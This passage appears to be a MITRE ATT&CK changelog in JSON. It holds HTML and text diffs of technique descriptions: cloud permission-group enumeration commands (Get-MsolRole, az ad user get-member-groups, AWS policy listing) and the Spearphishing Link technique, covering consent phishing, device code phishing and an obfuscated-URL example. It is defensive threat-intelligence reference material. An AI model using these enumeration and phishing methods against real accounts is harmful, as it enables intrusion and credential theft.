nowrap=\"nowrap\">ted&nbsp;with&nbsp;a&nbsp;particular&nbsp;group.&nbsp;&nbsp;With&nbsp;authenticated&nbsp;access&nbsp;ther</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;with&nbsp;a&nbsp;particular&nbsp;group.&nbsp;&nbsp;With&nbsp;authenticated&nbsp;access&nbsp;ther</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;are&nbsp;several&nbsp;tools&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;find&nbsp;permissions&nbsp;gro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;are&nbsp;several&nbsp;tools&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;find&nbsp;permissions&nbsp;gro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ups.&nbsp;The&nbsp;&lt;code&gt;Get-MsolRole&lt;/code&gt;&nbsp;PowerShell&nbsp;cmdlet&nbsp;can&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ups.&nbsp;The&nbsp;&lt;code&gt;Get-MsolRole&lt;/code&gt;&nbsp;PowerShell&nbsp;cmdlet&nbsp;can&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used&nbsp;to&nbsp;obtain&nbsp;roles&nbsp;and&nbsp;permissions&nbsp;groups&nbsp;for&nbsp;Exchange&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used&nbsp;to&nbsp;obtain&nbsp;roles&nbsp;and&nbsp;permissions&nbsp;groups&nbsp;for&nbsp;Exchange&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Office&nbsp;365&nbsp;accounts<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Msolrole)(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Office&nbsp;365&nbsp;accounts<span class=\"diff_chg\">.</span>(Citation:&nbsp;Microsoft&nbsp;Msolrole)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;GitHub&nbsp;Raindance)<span class=\"diff_sub\">.</span>&nbsp;&nbsp;Azure&nbsp;CLI&nbsp;(AZ&nbsp;CLI)&nbsp;and&nbsp;the&nbsp;Google&nbsp;Clou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;GitHub&nbsp;Raindance)&nbsp;&nbsp;Azure&nbsp;CLI&nbsp;(AZ&nbsp;CLI)&nbsp;and&nbsp;the&nbsp;Google&nbsp;Cloud</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;Identity&nbsp;Provider&nbsp;API&nbsp;also&nbsp;provide&nbsp;interfaces&nbsp;to&nbsp;obtain&nbsp;pe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Identity&nbsp;Provider&nbsp;API&nbsp;also&nbsp;provide&nbsp;interfaces&nbsp;to&nbsp;obtain&nbsp;per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rmissions&nbsp;groups.&nbsp;The&nbsp;command&nbsp;&lt;code&gt;az&nbsp;ad&nbsp;user&nbsp;get-member-gr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions&nbsp;groups.&nbsp;The&nbsp;command&nbsp;&lt;code&gt;az&nbsp;ad&nbsp;user&nbsp;get-member-gro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oups&lt;/code&gt;&nbsp;will&nbsp;list&nbsp;groups&nbsp;associated&nbsp;to&nbsp;a&nbsp;user&nbsp;account&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ups&lt;/code&gt;&nbsp;will&nbsp;list&nbsp;groups&nbsp;associated&nbsp;to&nbsp;a&nbsp;user&nbsp;account&nbsp;for</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;Azure&nbsp;while&nbsp;the&nbsp;API&nbsp;endpoint&nbsp;&lt;code&gt;GET&nbsp;https://cloudidenti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Azure&nbsp;while&nbsp;the&nbsp;API&nbsp;endpoint&nbsp;&lt;code&gt;GET&nbsp;https://cloudidentit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty.googleapis.com/v1/groups&lt;/code&gt;&nbsp;lists&nbsp;group&nbsp;resources&nbsp;ava</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y.googleapis.com/v1/groups&lt;/code&gt;&nbsp;lists&nbsp;group&nbsp;resources&nbsp;avai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilable&nbsp;to&nbsp;a&nbsp;user&nbsp;for&nbsp;Google.(Citation:&nbsp;Microsoft&nbsp;AZ&nbsp;CLI)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lable&nbsp;to&nbsp;a&nbsp;user&nbsp;for&nbsp;Google.(Citation:&nbsp;Microsoft&nbsp;AZ&nbsp;CLI)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Black&nbsp;Hills&nbsp;Red&nbsp;Teaming&nbsp;MS&nbsp;AD&nbsp;Azure,&nbsp;2018)(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Black&nbsp;Hills&nbsp;Red&nbsp;Teaming&nbsp;MS&nbsp;AD&nbsp;Azure,&nbsp;2018)(Citation:&nbsp;G</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Google&nbsp;Cloud&nbsp;Identity&nbsp;API&nbsp;Documentation)&nbsp;In&nbsp;AWS,&nbsp;the&nbsp;command</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oogle&nbsp;Cloud&nbsp;Identity&nbsp;API&nbsp;Documentation)&nbsp;In&nbsp;AWS,&nbsp;the&nbsp;commands</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;`ListRolePolicies`&nbsp;and&nbsp;`ListAttachedRolePolicies`&nbsp;allow&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`ListRolePolicies`&nbsp;and&nbsp;`ListAttachedRolePolicies`&nbsp;allow&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;to&nbsp;enumerate&nbsp;the&nbsp;policies&nbsp;attached&nbsp;to&nbsp;a&nbsp;role.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rs&nbsp;to&nbsp;enumerate&nbsp;the&nbsp;policies&nbsp;attached&nbsp;to&nbsp;a&nbsp;role.(Citation:&nbsp;P</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Palo&nbsp;Alto&nbsp;Unit&nbsp;42&nbsp;Compromised&nbsp;Cloud&nbsp;Compute&nbsp;Credentials&nbsp;2022</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alo&nbsp;Alto&nbsp;Unit&nbsp;42&nbsp;Compromised&nbsp;Cloud&nbsp;Compute&nbsp;Credentials&nbsp;2022)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;list&nbsp;ACLs&nbsp;for&nbsp;objects&nbsp;to&nbsp;deter</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;list&nbsp;ACLs&nbsp;for&nbsp;objects&nbsp;to&nbsp;determ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mine&nbsp;the&nbsp;owner&nbsp;and&nbsp;other&nbsp;accounts&nbsp;with&nbsp;access&nbsp;to&nbsp;the&nbsp;object,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ine&nbsp;the&nbsp;owner&nbsp;and&nbsp;other&nbsp;accounts&nbsp;with&nbsp;access&nbsp;to&nbsp;the&nbsp;object,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;example,&nbsp;via&nbsp;the&nbsp;AWS&nbsp;&lt;code&gt;GetBucketAcl&lt;/code&gt;&nbsp;API<span class=\"diff_chg\">&nbsp;</span>(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;example,&nbsp;via&nbsp;the&nbsp;AWS&nbsp;&lt;code&gt;GetBucketAcl&lt;/code&gt;&nbsp;API<span class=\"diff_chg\">.</span>(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;AWS&nbsp;Get&nbsp;Bucket&nbsp;ACL)<span class=\"diff_sub\">.</span>&nbsp;Using&nbsp;this&nbsp;information&nbsp;an&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;AWS&nbsp;Get&nbsp;Bucket&nbsp;ACL)&nbsp;Using&nbsp;this&nbsp;information&nbsp;an&nbsp;adversar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ary&nbsp;can&nbsp;target&nbsp;accounts&nbsp;with&nbsp;permissions&nbsp;to&nbsp;a&nbsp;given&nbsp;object&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;can&nbsp;target&nbsp;accounts&nbsp;with&nbsp;permissions&nbsp;to&nbsp;a&nbsp;given&nbsp;object&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;leverage&nbsp;accounts&nbsp;they&nbsp;have&nbsp;already&nbsp;compromised&nbsp;to&nbsp;access&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">leverage&nbsp;accounts&nbsp;they&nbsp;have&nbsp;already&nbsp;compromised&nbsp;to&nbsp;access&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;object.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;object.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0251: Behavioral Detection of Cloud Group Enumeration via API and CLI Access"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-02 19:15:44.182000+00:00",
                    "modified": "2026-11-04 03:26:48.906000+00:00",
                    "name": "Spearphishing Link",
                    "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provides permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \u201cdevice code phishing,\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "initial-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1566/002",
                            "external_id": "T1566.002"
                        },
                        {
                            "source_name": "CISA IDN ST05-016",
                            "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
                            "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"
                        },
                        {
                            "source_name": "Trend Micro Pawn Storm OAuth 2017",
                            "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                            "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
                        },
                        {
                            "source_name": "Netskope Device Code Phishing 2021",
                            "description": "Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.",
                            "url": "https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1"
                        },
                        {
                            "source_name": "Microsoft OAuth 2.0 Consent Phishing 2021",
                            "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.",
                            "url": "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/"
                        },
                        {
                            "source_name": "Mandiant URL Obfuscation 2023",
                            "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                            "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                        },
                        {
                            "source_name": "Optiv Device Code Phishing 2021",
                            "description": "Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.",
                            "url": "https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing"
                        },
                        {
                            "source_name": "SecureWorks Device Code Phishing 2021",
                            "description": "SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth\u2019S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.",
                            "url": "https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Philip Winther",
                        "Shailesh Tiwary (Indian Army)",
                        "Mark Wee",
                        "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                        "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
                        "Kobi Haimovich, CardinalOps",
                        "Menachem Goldstein"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Identity Provider",
                        "Linux",
                        "macOS",
                        "Office Suite",
                        "SaaS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.8",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:26:48.906000+00:00\", \"old_value\": \"2026-09-11 19:55:38.427000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\\n\\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\\n\\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \\\"IDN homograph attack\\\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n\\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provides permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n\\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \\u201cdevice code phishing,\\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)\", \"old_value\": \"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\\n\\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\\n\\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \\\"IDN homograph attack\\\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n\\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n\\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \\u201cdevice code phishing,\\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)\", \"diff\": \"--- \\n+++ \\n@@ -4,6 +4,6 @@\\n \\n Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \\\"IDN homograph attack\\\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n \\n-Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n+Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provides permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n \\n Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \\u201cdevice code phishing,\\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"ACSC Email Spoofing\", \"description\": \"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.\", \"url\": \"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\"}, \"root['external_references'][6]\": {\"source_name\": \"Microsoft Anti Spoofing\", \"description\": \"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.\", \"url\": \"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide\"}}}",
                    "previous_version": "2.8",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to56__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to56__0\"><a href=\"#difflib_chg_to56__top\">t</a></td><td class=\"diff_header\" id=\"from56_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;send&nbsp;spearphishing&nbsp;emails&nbsp;with&nbsp;a&nbsp;malicious&nbsp;l</td><td class=\"diff_next\"><a href=\"#difflib_chg_to56__top\">t</a></td><td class=\"diff_header\" id=\"to56_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;send&nbsp;spearphishing&nbsp;emails&nbsp;with&nbsp;a&nbsp;malicious&nbsp;l</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ink&nbsp;in&nbsp;an&nbsp;attempt&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;victim&nbsp;systems.&nbsp;Spearphi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ink&nbsp;in&nbsp;an&nbsp;attempt&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;victim&nbsp;systems.&nbsp;Spearphi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shing&nbsp;with&nbsp;a&nbsp;link&nbsp;is&nbsp;a&nbsp;specific&nbsp;variant&nbsp;of&nbsp;spearphishing.&nbsp;It</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shing&nbsp;with&nbsp;a&nbsp;link&nbsp;is&nbsp;a&nbsp;specific&nbsp;variant&nbsp;of&nbsp;spearphishing.&nbsp;It</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;different&nbsp;from&nbsp;other&nbsp;forms&nbsp;of&nbsp;spearphishing&nbsp;in&nbsp;that&nbsp;it&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;different&nbsp;from&nbsp;other&nbsp;forms&nbsp;of&nbsp;spearphishing&nbsp;in&nbsp;that&nbsp;it&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mploys&nbsp;the&nbsp;use&nbsp;of&nbsp;links&nbsp;to&nbsp;download&nbsp;malware&nbsp;contained&nbsp;in&nbsp;ema</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mploys&nbsp;the&nbsp;use&nbsp;of&nbsp;links&nbsp;to&nbsp;download&nbsp;malware&nbsp;contained&nbsp;in&nbsp;ema</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">il,&nbsp;instead&nbsp;of&nbsp;attaching&nbsp;malicious&nbsp;files&nbsp;to&nbsp;the&nbsp;email&nbsp;itself</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">il,&nbsp;instead&nbsp;of&nbsp;attaching&nbsp;malicious&nbsp;files&nbsp;to&nbsp;the&nbsp;email&nbsp;itself</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;to&nbsp;avoid&nbsp;defenses&nbsp;that&nbsp;may&nbsp;inspect&nbsp;email&nbsp;attachments.&nbsp;Spea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;to&nbsp;avoid&nbsp;defenses&nbsp;that&nbsp;may&nbsp;inspect&nbsp;email&nbsp;attachments.&nbsp;Spea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rphishing&nbsp;may&nbsp;also&nbsp;involve&nbsp;social&nbsp;engineering&nbsp;techniques,&nbsp;su</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rphishing&nbsp;may&nbsp;also&nbsp;involve&nbsp;social&nbsp;engineering&nbsp;techniques,&nbsp;su</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 